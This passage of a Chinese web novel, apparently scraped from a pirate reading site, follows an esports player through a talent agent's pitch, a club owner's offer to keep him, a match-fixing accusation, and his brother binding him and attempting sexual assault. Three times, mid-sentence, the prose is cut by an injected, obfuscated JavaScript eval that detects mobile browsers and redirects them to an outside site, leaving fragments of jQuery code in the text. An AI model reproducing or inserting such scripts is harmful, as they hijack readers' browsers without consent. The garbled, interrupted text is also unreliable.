看着尹宙低三下四的姿态,王姐打量起面前沉默的年轻人。尹宙抱他上车时,她只看见腰肢纤细、长发飘飘,还以为是个高个子女孩。
此时一看,才发现是个极漂亮的男生。
王姐混迹娱乐圈十几年,带过的偶像艺人都接近百位,见过的俊男靓女数不胜数,但还是要感慨一声:
“尹宙,你哥长得不错哈。”
尹宙脸上的懊恼这才消散些,挤出一个乖巧的笑:
“那拜托王姐给我哥做做思想工作,让他别在电竞圈遭罪了。我们跟着王姐混,在娱乐圈那肯定不会受半点委屈。”
“就你嘴碎。”王姐看似嫌弃,实际上表情带着笑。
但是即使尹宙不说,王姐也会动一样的心思。
她看看尹宙,又看看钟不拘,哥哥冷艳漂亮,弟弟阳光帅气,光靠cp粉都能妥妥大红大紫。
“小钟对吧,我经常听尹宙提起你,”王姐主动开始话题,但是姿态很高:
“听说你是电竞选手哈,收入怎么样?我不太懂,但听说这行比较青春饭哦。”
钟不拘依旧看着窗外,神色疏淡不置一词。
作为娱乐圈的老大姐,王姐早就习惯了走到哪都有人谄媚逢迎,这时被一个名不见经传的年轻人甩了臭脸,心情有些不快。
长得再好看有什么用?娱乐圈最不缺的就是美人,不会做人只能等着被踩在脚下。
“小钟?”这一声是最后给尹宙的面子。
第一次见哥哥这么冷淡漠然,尹宙的脸面也有些挂不住:“王姐,我哥他不擅长和人交流,社恐。”
王姐似笑非笑地给了钟不拘一个白眼。
车内的气氛顿时坠入冰点,尹宙把钟不拘的手放在掌心又搓又揉,对方始终没有半点动作。
王姐的手机突然响起来,本来绷着的脸先是惊讶,然后露出谄媚得夸张的笑容:
“祁总好祁总好,啊,尹宙是跟我在一块呢,他......”
王姐话还没说完,脸上的表情却突然变幻莫测起来。
只见她怔怔地听了一会,等放下手机,方才摆谱的姿态消失一空,整个人的气势瞬间矮了一截。
她往钟不拘的方向挪了挪,语气特别温柔:
“小钟啊,姐还是想和你聊聊,其实做歌手啊演员啊,有很多好处。”
“你的形象气质这么好,都不用受罪练基本功,就往台上一站,多少小姑娘都爱你爱的不行......”
尹宙知道,王姐电话中的祁总并非祁舜,而是他们奇艺星娱的老总祁灵,华国首富的大女儿,祁舜的二姐。
祁灵是目前公认的祁家众多小辈中最出色的一个,也是老祁总最喜欢的女儿。
根据坊间传闻,她是老祁总一众情人中最得宠的二太所生,而且自幼就留在老祁总身边,学着投资和管理企业。
一众祁家子弟中,她名下的企业最多,掌握的也都是最优质的资产。
虽然奇艺星娱是内娱龙头企业,但终究只是祁灵的资本流水线上的一个而已,所以尹宙根本没有和她见面的机会。
到底什么事情能惊动祁灵亲自出马?她到底说了什么,让王姐突然这么在意哥哥?
尹宙想不明白,也不敢开口,只能用目光探寻蛛丝马迹。
他看见钟不拘依旧神色冷漠,有些发白的嘴唇轻抿着,散乱的发丝随着汽车的颠簸颤动。
拒人千里和我见犹怜两种宝贵的视觉效果,竟然能在一个人身上同时存在,而且还相得益彰。
面对他的冷淡,王姐这次倒是一点不嫌弃,那张嘴叽里咕噜说个不停,巴不得让司机别去医院,直接把人押送到公司。
“不必了。”钟不拘终于开口。
他含着水的杏眼里神色淡淡,带着仿佛初春的薄冰般的寒意:“祁总的意思,恐怕还会变的。”
祁总的意思,你怎么能猜到?
正当王姐一脸懵逼之时,她的手机竟然真的响了起来。
王姐连忙调整好情绪,满脸谄媚地接通电话。
这次电话那头传来的是男音,嗓门很足,不用外放都让几人听得清楚:
“祁总说了,计划有变,让他快滚。”
没有任何解释,对方挂断了电话。
想必这就是祁灵的秘书一类的人物,原封不动地传达了祁灵的不爽。
饶是自诩见多识广,王姐一时也左右为难,她盯着钟不拘那张昳丽近妖的脸,想要看出一个答案。
但是钟不拘也不说话。
祁总,难道是,暗恋他?
王姐为自己的胡思乱想捏了一把汗。
......
王姐倒也没有真的让钟不拘快滚。
大人物的心思琢磨不透,但冰山美人看起来也不简单。
她不想贸然得罪人,还是陪着尹宙送钟不拘去再次包扎了伤口
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017303|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,然后把两人送进破败拥挤的小区。
等到保姆车开走,祁舜垂着头,又走回钟不拘身边。
入夜已深,声控灯在头顶忽明忽暗,除了远处野猫的嘶吼,尹宙只能听见彼此的呼吸声。
“哥,我真的错了。”尹宙今晚不知第多少次说出这句话。
钟不拘第一次回应:“够了。”
他的声音清亮,但语气却冰冷,像一把刀刺进尹宙的胸口。
尹宙又拿出他的杀手锏,圆而明亮的眼里溢着眼泪。
“哥,以前你舍不得这么久不理我。”他的声音有点沙哑,尾音又是撒娇的意味。
钟不拘长而密的睫毛颤动,尹宙以为他马上就要说“没事,你也是为了哥好。”
面对他的任性专断,哥哥即使会表达不满,但最后总会隐忍包容。
然而,出乎他的意料,钟不拘精巧的下巴和修长的手同时扬起。
啪——
一个耳光在他脸上扇得响亮。
蝶翼般的睫毛投影深沉,让钟不拘的神色难以看清:
“他没有好好教你的,我来教。”
尹宙的世界都随着这个耳光撕裂了,他听不见、也听不懂钟不拘这句话。
他只觉得眼前这个漂亮男人,好陌生。
钟不拘没有等他反应过来,抬腿就向单元口走去。
他后背的血痕清晰可见,留给尹宙的背影,就像一只受伤的蝴蝶。
......
钟不拘回到拥挤陈旧的出租屋,旧床的残骸已经被尹宙收拾干净,用一张塑料布包着扔在楼道口。
尹宙还算勤快,在强迫他回家前已经把屋里打扫干净,一张小小的电脑桌被塞进衣柜和厕所的空隙处,上边是一台崭新的台式机。
钟不拘深呼一口气,脱下血迹斑斑的上衣,背靠着门瘫坐下来。
他好累。
即使已经尽力独善其身,小说中充满恶意的情节还是纠缠着他,要阻拦他登上那座倾尽一生也要攀登的巅峰。
一道道心怀不轨的目光,就像沼泽里鳄鱼的窥视,等待在他松懈的时候一击毙命,要将他撕裂侵吞入腹。
但他注定是飞鸟,即使翅膀缠上重重荆棘,也要飞到最后一片血肉坠地。
他艰难起身走到电脑前,登录原主的账号开始排位。
直到天色将明,他才停止感到疲倦的十指,忍着后背的疼痛躺在床上。
尹宙一夜未归,他拿出手机看了看,并没有对方的消息。
反倒是自第一场训练赛后就消失了的祁舜,对话框上显示着几条未读消息。
钟不拘点开对话框,看见三条未接听的语音邀请,时间是晚上十点,正好是在王姐车上的时间。
见他一直不接,祁舜的消息言简意赅:【别听我二姐的话,会吃亏。】
钟不拘早就猜到,崔秘书大概第一时间汇报了他被尹宙带走的消息,导致他沦为某些豪门争斗的筹码。
他不感兴趣。
正准备关机,祁舜又发来一条消息:【我明天回国。】
系统显示对方一直在输入中,钟不拘等也没等,关机入睡。
19.包养
钟不拘是在下午醒来的,起床时后背的伤口和擦墙带来的肌肉酸痛一齐发作,让他瞬间清醒过来。
屋里的一切都没变,尹宙应该一夜没回来。
简单洗漱后,钟不拘先登录游戏单排两局,顺利把原主的账号从宗师打上了王者。
虽然穿书后身边的所有人都可能欺骗他,但竞技技术却不会骗人。
经过两周高强度训练,原主的个人账户跻身国服玩家的前0.2%,赛季胜率也被拉到了可怕的90%。
如此一来,钟不拘到了可以攀登国服rank排名的阶段,这也是玩家开始被职业俱乐部看见的时候。
穿书前,他就是凭借着十六岁霸榜国服rank第一被队长选中,离开孤儿院后开始了职业生涯。
他虽然不善交际,但待人接物还是看得清楚。
BIG经理气量狭小难以容人,对邱浩又表现出超乎常理的包庇,加上祁舜此人阴晴不定难以捉摸,对商业价值的追求远胜于对比赛的关注。
无论如何,现在的BIG不算是个好去处。
良禽择木而栖,他也想通过在国服rank取得高位的方式,吸引其他俱乐部的橄榄枝。
停赛调查悬而未决,他计划在一周内爬上国服前十。
然而纵使他天赋卓绝,国服前十也不是随便就能达成,需要短时间内高强度的游戏投入。
钟不拘对生活品质没什么要求,因此决定下楼买几桶方便面,就这样应付一周。
他随意挽起头发,穿着最寻常的背心短裤,就这么打开了房门。
开门的瞬间,他看见一头粉毛的男人跪在门口。还没来及表达惊讶,对方就像是体力不支一般,软塌塌地向前倒下。
尹宙的脸撞在他的小腿上,触感滚烫,过于温热的鼻息让他汗毛竖起。
钟不拘下意识向后退一步,但挣不开尹宙抱住他脚踝的手:“你发烧了?”
尹宙的脑袋低垂,浑身瘫软,那张喋喋不休的嘴终于沉默了。
他似乎在门口跪了一夜。
钟不拘也没想到,他会采用这种方式表达歉意。
还好他们租的房子在老破小的顶楼,邻居也久不居住,不然肯定会被当成变态。
钟不拘尝试把他拽起来,但尹宙188的大个子实在不是他一人能搞定,正当他考虑直接把人拖进来,楼道里响起了沉闷的脚步声。
听起来还不是一个人。
“诶呀,可算找到了!不用爬楼了!”
最先露头的是崔秘书,他爬楼爬得汗流浃背,看见钟不拘那张漂亮的脸的瞬间,整个人精神一震。
然而这种振奋很快被震惊取代,他视线向下,看见一个成年男人就这么抱住钟不拘的小腿。
草。
崔秘书立刻调转方向,结巴道:“那个祁总那个我们要不还是......”
晚了一步,祁舜也已经上来了。他剪裁贴身的白衬衫上沾了汗水,衬出发达的胸肌和手臂肌肉线条。
看起来一拳能打爆一个头。
“人呢?”祁舜神色冷峻。
崔秘书生怕发生命案,向前两步挡住祁舜视野:“我刚才看错了,要不您先下去歇会?我找到了和您说......”
话还没说完,祁舜一把拽开他,看见钟不拘长发散漫衣衫不整,一个高大男人趴在地上,双手和脸贴在钟不拘白皙纤长的小腿上。
头发是粉的,应该就是他那个倒霉弟弟。
草。
祁舜在观看了钟不拘和裘度的第二个视频后,心情本就烦躁不堪。
但为了欲擒故纵,他还是强行忍住不做动作,想要等钟不拘穷途末路再来帮他一把,换取钟不拘的感激和屈服。
然而求助没有等来,等来的是他们疑似官宣恋情的消息。
祁舜气疯了,立刻定了第二天的机票,结果就被告知钟不拘直接被尹宙带走了。
还是被公主抱带走的。
于是祁舜多年来第一次主动联系二姐,警告她管好旗下艺人不要碍手碍脚丢人现眼。
知道二姐性格顽劣,他又警告如果敢打钟不拘主义,大哥的下场就是她的下场。
最后他忍无可忍直接换了私人飞机,落地一秒没有耽搁就赶到钟不拘的住处。
没想到,还能看到这么香艳又惊悚的场面。
你们兄弟俩也太会玩了。
祁舜气不打一处来,却还要做出矜贵克制的姿态,压低声线道:“钟不拘,你在干什么?”
钟不拘当然看见他们,但是尹宙钳住他脚踝的双手却松开,他动弹不得。
抬手理了下耳边的碎发,钟不拘淡淡道:“在扶尹宙起来。”
祁舜:“......”
最后,还是受苦受难的打工人崔秘书帮忙,帮忙把尹宙扶起来,扔在了小床上。
祁舜双手插在西裤兜里,倚在门边袖手旁观。他混血的五官和优秀的身材自带高贵又拒人千里的气质,和这破败的小楼格格不入。
看着崔秘书帮忙安顿好尹宙,他翘首以待钟不拘对他的拨冗光临有何反应。
钟不拘含着水气的漂亮眸子终于落在他身上:“停赛调查结束了?”
熟悉的烦闷再次笼罩了祁舜,他终于忍无可忍:
“没有,但是我连夜从洛杉矶飞回,又和崔秘书一户户地找上来,这就是你的待客之道?”
钟不拘眼睛眨了眨,看向汗流浃背的崔秘书:“崔秘书辛苦了,喝水吗?”
崔秘书愣了一下,看见祁舜那充满敌意的目光,连忙站起身:
“我没事,我突然想起来还有工作没做完,先下去了啊!”
他一路小跑地消失在楼道里。
祁舜堵在出租屋门口,看着钟不拘的领口、手臂和小腿皮肤白得发光,心里的烦躁变成了躁动。
钟不拘:“祁总还有事吗?”
祁舜:“虽然停赛调查还没结束,但我们可以聊一聊相关的事情。”
钟不拘看了一眼床上发着烧的尹宙,叹了口气:“下去聊吧,我顺便买药。”
一番折腾下来,时间已近六点,钟不拘几乎一天一夜没吃饭,肠胃不合时宜地发出一声哀鸣。
祁舜勾起嘴角:“一起吃个饭吧。”
心有所感,他又补充道:“简单吃一点,不会耽误你游戏。”
祁舜自然不可能在楼下的苍蝇小店吃饭,崔秘书很识相地把两人拉到了最近的高档餐厅,一路上相对无话。
到达北城顶级的法餐厅,钟不拘背心配短裤的穿搭不符合穿衣规范,但有祁舜出面,服务生也不敢阻拦,将二人带往包厢。
隔着桌上跳动的烛光,祁舜看向钟不拘。
虽然穿搭随意,连头发都凌乱地散在肩头,但是他漂亮的脸蛋和冷艳的气质,即使在繁复辉煌如皇宫的环境里,也没有逊色分毫。
配上那一贯淡然的神情,倒显得这餐厅装饰有些俗艳。
“要喝酒吗?”祁舜绅士地问。
钟不拘推开酒单,还是言简意赅:“祁总请说吧。”
或许是遇冷太多次,祁舜现在没那么烦躁了,他整理了思路开口道:
“视频虽然影响不好,但终究算不上什么原则性错误,我和联盟沟通一下,问题不大。”
钟不拘点头:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027153|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那麻烦祁总了。”
“但是,”祁舜右手拿起餐刀,熟练地切开餐包递给钟不拘:
“你考虑搬出来住吗?”
钟不拘没接,抬眼看他:“不能住在基地了?”
祁舜讪讪地收回手:“你们都是成年人了,还住在一起不合适吧。”
钟不拘这才明白他说的是离开和尹宙的家,他不是没考虑过,但这事终究和祁舜没有关系。
祁舜看出他的顾虑,开口道:“我把基地旁边那座独栋也买下来了,你可以搬进去。”
又补充道:“离得近,也方便你训练。”
钟不拘脸上难得出现一点诧异的情绪,显得一双杏眼更亮:“为什么?”
终于说到他此行的目的,祁舜深吸一口气:“和裘度分手,搬进去住三年,这房子归你。”
话说到这份上,钟不拘再迟钝也明白了。
祁舜想包养他。
见钟不拘还没反驳,祁舜自以为有戏,毕竟那房子市价上亿,钟不拘打一辈子职业也摸不到边。
任谁来看,这交易都很划算。
祁舜扬起头,垂眼看着钟不拘:“我以前也没做过这种事,你还是第一个。”
“你也没必要自卑,裘度的事情我既往不咎,就像我之前说过,你还是,挺特别的。”
钟不拘脸上出现一点笑意:“祁总,是想和我睡觉?”
他这话说得直接,刚推开门准备上菜的服务生,识相地又关上门退了出去。
他的反应印证了祁舜对他的判断:美丽但愚蠢轻浮,一副好牌被打得稀烂。但他这些天思来想去,确认了自己不介意也品尝一口。
祁舜的眼神不加掩饰:“我很忙,每周陪我三次就可以。其余时间你自己安排,想在BIG打职业,我可以保你首发。”
钟不拘彻底笑了出来,祁舜还是第一次看他笑得如此艳丽,联想起此刻的谈判,心头燥热难耐。
“我可不需要你保我首发,”钟不拘笑着说,“我在哪都能首发。”
祁舜抬了下眉:“别的要求,也可以提。”
钟不拘拿起桌上精美炫目的玻璃杯,浅浅喝了一口:“裘度有的,祁总都想要?”
虽然听见裘度二字就不爽,但祁舜还是肯定道:“我对第一次没有执念,你不用担心。”
“好呀,”钟不拘握住玻璃杯,脸上笑意不减。
祁舜松了口气,刚准备握住他的手,就看见钟不拘举起玻璃杯,毫不犹豫地泼了他一脸:
“那天我就是这么对裘度的,祁总好好享受。”
钟不拘起身,头也不回地走了。
......
BIG俱乐部,总裁办公室里只有一盏台灯亮着。
祁舜身上的水迹早就干透,但一贯打理精致的发型却凌乱地垂在前额,他坐在办公桌前,神色阴沉地盯着手机。
手机屏幕亮着,显示接入了视频会议。
“祁总,我也不好意思叨扰您,但是事情实在是太大了。”
电话那头传来男声,用语客气却压不住焦虑的情绪:“本来我们都准备结束对钟不拘的调查了,年轻人嘛,谈恋爱没什么错。”
祁舜面无表情,只发出一声沉闷的鼻音。
电话那头的男人继续道:“但是,今天晚上我们接到了一则实名举报。”
“您战队的经理,举报自己参与过......呃,针对CPL比赛胜负的赌博活动。”
祁舜的眸色又沉了些。
“他还举报了钟不拘以他为中间人,也参与过相关的赌博活动。”
“并且还提供了转账记录作为证据。”
20.强制
尹宙听见熟悉的键盘敲击声,滴滴答答像是鼓点,也像是小雨打在破败的屋檐上的声音。
他睁开眼,看见一条光洁纤瘦的手臂,白到透明的皮肤透出青色的血管,如一尊古老的玉雕。
“哥哥。”尹宙几乎是条件反射地叫出这两个字。
滴滴答答的声音骤停,面前出现一张温柔又艳丽的脸,带着甜丝丝的笑:“宙宙,你发烧了,要好好休息哦。”
尹宙这才发觉浑身都酸疼得厉害,头也昏昏沉沉,一股委屈顿时涌上心头:“哥,我好像发烧了。”
对方只是笑得温柔,眼角眉梢都上扬,窗外的阳光给漂亮的脸镀上金辉。
尹宙得寸进尺,一把搂住对方劲瘦的腰,把头埋进一团软香中。
“哥,你哄哄宙宙,亲亲我吧。”他肆无忌惮地撒起娇来。
然而尹宙的头却痛得愈发厉害,昏沉之中,萦绕在鼻尖的香气从淡淡的脂粉味变成凌冽的冷香。
“尹宙,松开我,吃药。”
钟不拘无奈地看着怀里的尹宙,对方整张脸埋在他腰上不肯松开,嘴里絮絮叨叨说着什么,唇瓣划过腰侧的皮肤有些痒。
他用力把尹宙推开些,又拍了拍通红的脸:“你发烧了,吃药。”
尹宙的眼睛这才睁开些,他平日里都是眨巴着一双小狗似得圆眼睛,此时双眼半阖着,薄唇抿紧,看着倒有几分阴郁。
钟不拘捏住他两颊,就要把胶囊塞进他嘴里。
手上还没使力,尹宙眼中闪过阴沉又癫狂的神色。
他一把钳住钟不拘的手,另一只手扣住他的腰,大腿带动腰背一使劲,就把钟不拘直接压在身下。
“哥哥,”尹宙不再撒娇了,声音滞涩沙哑,“该吃药的是你。”
钟不拘刚泼了祁舜一杯冷水,此时对尹宙也不客气:“你又在发什么疯。”
他尝试着起身,却被尹宙更用力地撞在床板上,后背的伤口又开始疼。
尹宙头脑恍惚昏沉,迷乱中看见哥哥甜蜜温柔的笑容,转瞬间又变成眼前钟不拘冷漠疏离的脸。
昨天他跪在门外整整想了一夜,他不相信哥哥竟然会打他,他只是小小的任性和私心,连私心的内容都是希望哥哥过得更好。
哥哥怎么会忍心打他?
哥哥病了,病得很重,病出了邪恶的人格。
尹宙豁然开朗。
尹宙一条腿跨上钟不拘的腰,两只手捧住他的脸,鼻尖划过他的侧脸,喷薄出烫得惊人的鼻息:
“哥,是你疯了,你一定是病了才会这样。”
他神色癫狂:“你到底生了什么病?宙宙帮你治,好不好?”
“哥,你要吃药,吃药就好了。”
啪——
钟不拘抬起手臂,对着尹宙的脸又是狠狠一巴掌:“给我下去。”
第二次挨打,尹宙面无惊讶,他一手夺过钟不拘手里的胶囊,脸上甚至有诡异的笑意:“哥,吃了药就不会打我了。”
他把胶囊一端夹在双唇间,两手禁锢住钟不拘的脸,就要用嘴喂他吃药。
钟不拘挣脱不开,扬起唇角冷笑道:“你早就想对你哥这么做了,对吗?”
他一笑,尹宙眼中又恍惚看见哥哥的脸,看见他所有藏在少年梦里的渴望和不堪。
他停下要去吻钟不拘的动作:“不,你不是我哥,我哥不会这么对我。你是他生病后的一个人格,是邪恶的病症。”
钟不拘那双杏眼艳得惊人,似乎能看穿他的所有龌龊:“不知羞耻。”
尹宙顿了顿,接着抬手解开腰间的皮带:“我可不会这么对哥哥,但你不是,等他回来......”
钟不拘没给他狡辩的机会:“那张床是真的坏了吗?”
尹宙悬在金属纽扣上的指尖停住了,他觉得头脑又清晰了一些,眼前这张冷漠美丽的脸,已经和记忆里的哥哥毫无关系:
“姓裘的能上你,姓祁的能觊觎你,我就不行?”
钟不拘回以轻蔑的眼神:“我看过你扔在门口的垃圾,那张床板,也碎得太整齐了。”
并不是只有尹宙有所觉察。
尹宙咬牙:“闭嘴,哥,你病了。”
钟不拘:“我看你才是病入膏肓。”
尹宙被激得两眼通红,不顾钟不拘的挣扎,用皮带把他的手腕绑在床头。他每挣扎一次,那红痕就更刺眼。
这个姿势更显出他身型瘦削却线条优美,就像一条搁浅的人鱼。
“哥,那你给我治治病吧。”
尹宙刚准备有所举动,钟不拘的手机突然震动起来。他不耐烦地准备挂断,拿起手机的瞬间,却看见刺眼的“裘度”二字。
尹宙骤然抬起嘴角,露出一颗尖锐的虎牙,他眨巴着眼睛,一脸无辜道:
“哥,让你的裘度听着我们做,是不是很刺激?”
钟不拘看也不看他:“我不在乎裘度。”
尹宙握住手机,歪过头笑得得意:“是吗?”
钟不拘也笑:“就像我也不在乎你。”
尹宙双臂用力,床单发出一声刺耳的哀鸣。他把布条塞进钟不拘的口中,然后接通了裘度执着的来电。
“钟不拘,你怎么搞的?”
电话一接通,裘度暴躁的喊声就传过来,尹宙满脸嫌弃。
“你怎么敢的啊?你要是缺钱你和我说啊!你和经理配合买菠菜打假赛你不想活了?”
“你知不知道,这样会终身禁赛的!有可能要坐牢的!!!”
“喂,钟不拘,你听见没有!你吱声啊......”
被尹宙折腾了一晚,这还是他眼里第一次闪过惊诧的情绪。
钟不拘口中发出呜呜的声音,手臂也挣扎地更加用力,他手腕足够纤细柔软,皮带边缘在小臂划出血红斑驳的划痕。
尹宙也肉眼可见地愣了一下,随即恢复癫狂又无辜的表情:
“哥,你好像不用再想着训练了。”
“不要担心,只要你好起来,我会养你的。”
......
钟不拘不知道自己是如何挣脱的,但此时手中破碎只剩下瓶口的花瓶,以及贯穿整条小臂的青紫和血痕。
尹宙被他拼死一搏爆发的巨大力量砸倒在地,两条鲜红的血迹从头顶留下。
即使在这样的时刻,钟不拘还是凭着仅有的理性手下留情,没有砸在他赖以为生的脸上。
兄弟一场,到此为止。
裘度的电话已经挂断了,钟不拘从他狂躁的质问中拼凑出事情的轮廓。
BI
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15031869|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
G的经理,一直将他视为眼中钉肉中刺的经理,竟然向联盟自爆参与了针对CPL赛事的□□活动。
而他如此疯狂的自杀式袭击,目的竟然是举报“钟不拘”曾和他一起参与过□□,而且还通过假赛配合牟利。
离奇。
这是钟不拘的第一感受。
在穿书前,LPL电竞圈虽然也并非出尘无暇,但这种庄家或参与者自爆的事情,只有在利益出现根本分歧,要鱼死网破时才会出现。
现在BIG是在经历剧变,但哪里到了要经理自毁前途和荣誉,就为了把他一个小替补拉下马的程度?
钟不拘倏忽想起考核开始的第一天,经理红着眼,威胁他放弃竞争收发的样子。
还有经理总是有意无意,表现出的对邱浩的关心和纵容......
他隐约看到了端倪,却没有自证清白的办法。
在砸晕尹宙后,他做的第一件事就是检查原主和经理的转账记录,但早在他穿书前,一切痕迹就被删除干净。
更可怕的是,这几乎要扼杀他职业生涯的事件,整个BIG都默契地保持着缄默。
他竟然要从裘度口中,听到联盟内部已经不知议论了多少遍的版本。
钟不拘想起原书中,经理举报“钟不拘”贿赂他以便留在BIG,最终导致了钟不拘彻底被电竞圈唾弃,最终跳河自尽。
书里的情节,还是以更诡异更无法抗拒的方式发生了。
接连而来的打击让钟不拘眩晕,后背和小臂的伤口又疼得把他拉回现实。他先是用尹宙的手机给120和王姐打了电话,然后踉跄着出门了。
一小时后,钟不拘出现在BIG基地门口,保安已经得到风声,毫不留情地拦住了他:
“不好意思,俱乐部今天下午刚交代过,你暂时不能进。”
钟不拘一张脸惨白如纸,宛如古画中的病美人,看起来纤弱易碎:“我要见祁舜。”
他看见不远处的别墅里,祁舜办公室的灯是亮着的。
就是在那里,祁舜带着试探问他,他们是不是一种人。
保安们犯了难,但钟不拘的状态实在令人担心,最终他们还是拨通了崔秘书的电话:
“崔总啊,下午祁总交代的那个选手,嗯嗯对就是他,现在在门口要见祁总,您看看怎么安排?”
崔秘书握住手机的手里都是汗,还没想好怎么回答,手机就滑落在地。
他匆忙弯腰去捡,但一只更修长的手先一步捡起了手机。
“祁总。”崔秘书皱眉,“我不知道你们有什么矛盾,但是......”
祁舜整晚第一次开口:“他也应该知道,有我在身后的好处。”
崔秘书说不出话了。
祁舜接过电话:“让我和钟不拘说。”
电话那头传来带着些许颤抖的声音,他的声音本来就轻柔如猫爪,此时听来更是让人不忍。
祁舜残忍地笑了一声,对着手机声线低沉道:
“举报的事,连同之前的调查一起,要等待联盟定夺。”
“但是钟不拘,我有必要提醒你——”
“你的所作所为,严重影响了俱乐部的商业价值和公众形象。”
“我没有起诉你,已经非常宽宏了。”
21.不入虎穴
北城的夏日一向干燥,但今夜却少见的浓云密布。
钟不拘还站在基地的保安亭外,雨滴就不留情面地砸在他的额头上,划过苍白的皮肤勾勒出微微下垂的眼尾和唇角。
祁舜等了一会,只听见话筒传来阵阵雨声,他的声线带着冰冷的笑意:
“去隔壁别墅洗个澡,等我下班?”
他的企图和恶意都不加掩饰。
崔秘书噤若寒蝉立在一旁,也听懂了祁舜话里话外的意思。
他原本看见只有祁舜一人离开餐厅时就心有预感,而对方的话坐实了他的猜测。
祁舜随手把手机扔回给他,崔秘书略作思考,对着话筒公事公办道:
“联盟做出禁赛处理,都是需要当事人参加听证会的。只有在有绝对的直接证据证明存在违规的情况下,才会严惩。”
祁舜抬起眉毛瞥了他一眼,深邃的眼窝被阴影遮挡,崔秘书吓得立刻挂了电话。
祁舜:“你还挺关照他。”
崔秘书:“祁总,我这是担心您后悔。”
祁舜问:“一头小鹿徘徊在森林里,你说他什么时候会回头?”
祁舜又自答:“他受了重伤,又发现除了我,谁也救不了他的时候。”
钟不拘还握着话筒,雨却越下越大了。他看着像一只被雨淋透的纸蝴蝶,后背和小臂上的伤口淌下血水,摇摇欲坠。
“喂,我们借你把伞吧,不用还了。”
虽然被明令禁止,但保安还是于心不忍,从窗口递出一把伞。
钟不拘没去接,他把话筒递还回去,轻声说了“谢谢”。
他仰头看了一眼BIG基地亮着的灯火,以及旁边那栋漆黑如坟墓的别墅,转身走入雨幕。
“你是脑子进水了吗,钟不拘?”
他刚一转身,就恰好撞进一个高大男人的胸膛,对方比他高出一个头,语气狂躁。
裘度把伞举过他头顶,一双剑眉显得锋利凌人,似乎压抑着许多不耐烦:
“为什么接了我的电话,却又不出声?你是故意让我心烦吗!”
钟不拘把他的伞推回去一些,自己又被雨水淋透,回身就要离开。
裘度更生气了,他一把拽住钟不拘的手臂,却恰好掐住皮带勒出的伤痕,钟不拘难以控制地抖了一下。
“你很了不起吗,”裘度把他拉回伞下,“菠菜你都敢碰!”
钟不拘挣脱不开:“我没有。”
他的声音很轻很柔,在大雨里几乎听不清楚。
拉扯间,裘度的视线和他相撞,看着那双仿佛氤氲了一整个夏天的雨水的眼睛,所有愤怒的指责都说不出口。
裘度收敛几分情绪:“你要去哪?我送你。”
他摁了下车钥匙,身旁的法拉利车灯亮了起来。
“去公安局啊,你身份证带了吗?”
裘度一面开着豪车在暴雨中轰鸣疾行,一面从后视镜打量着发梢还在滴水的钟不拘。
钟不拘却仿佛一尊精美的雕像,双眼看着窗外失去焦距。
□□、假赛、终身禁赛......
在穿书前,他连说出口都觉得恶心的词,如今竟然变成了一张网,要把他永远困在骂名之中。
他不能退。
裘度对他的冷淡十分不满,狂按了十几下喇叭,震得人耳鸣。
“我说钟不拘,”裘度对后视镜皱眉,“我为了帮你,又是装你男朋友,又是冒着大雨来找你,你怎么连句感谢都不说?”
“这么理所当然,你不会真以为我喜欢你吧?”
“虽然我在停赛中,但是我一年薪水三千万,你算算这个小时值多少钱......”
钟不拘被他吵得头疼,抬眼看向后视镜,一字一句道:“谢谢你。”
虽然终于等来感谢,裘度心里却更气闷。
他虽然坚信对钟不拘没有爱慕之心,但一旦想起从前的舔狗如今变得如此高贵冷艳,看自己的眼神从看英雄变成了看狗,他就特别想要向钟不拘证明自己。
在沉默和焦躁中度过漫长的十分钟,两人抵达最近的公安局。
钟不拘和警察交涉时,裘度就抱着双臂等在一旁。
相比典型的电竞选手,他身材过于高大,五官线条又凌厉,板着一张臭脸时很有压迫感。
年轻警察看着钟不拘手臂上的伤痕,冲他眨了眨眼:“这是你朋友?他看起来不太开心,闹矛盾了?”
裘度:“我是他男朋友。”
钟不拘:“他是司机。”
两人几乎在同一时间开口,警察若有所思地点头。在钟不拘递给他身份证时,往钟不拘手里塞了一张纸条。
趁警察去复印证件的空隙,裘度抓住钟不拘的手腕:
“他给你递了什么?别以为很隐蔽,我动态视力全联盟第一。”
钟不拘懒得和他争辩,把纸条扔给他,上边写着一个手机号码,下面写着“如遇暴力,可以求助。”
合着把他当成家庭暴力的罪魁祸首了。
裘度冷哼一声,垮着脸把纸条塞进了牛仔裤口袋。
一番交涉后,钟不拘拿到了被原主删除的微信转账记录,显示他过去两年间,平均每个月给经理转账两万元。
备注都写着【自愿赠与,谢谢经理栽培】。
转账记录解答了钟不拘的疑惑,第一天检查原主的财务状况时,他发现原主实在是太穷了。
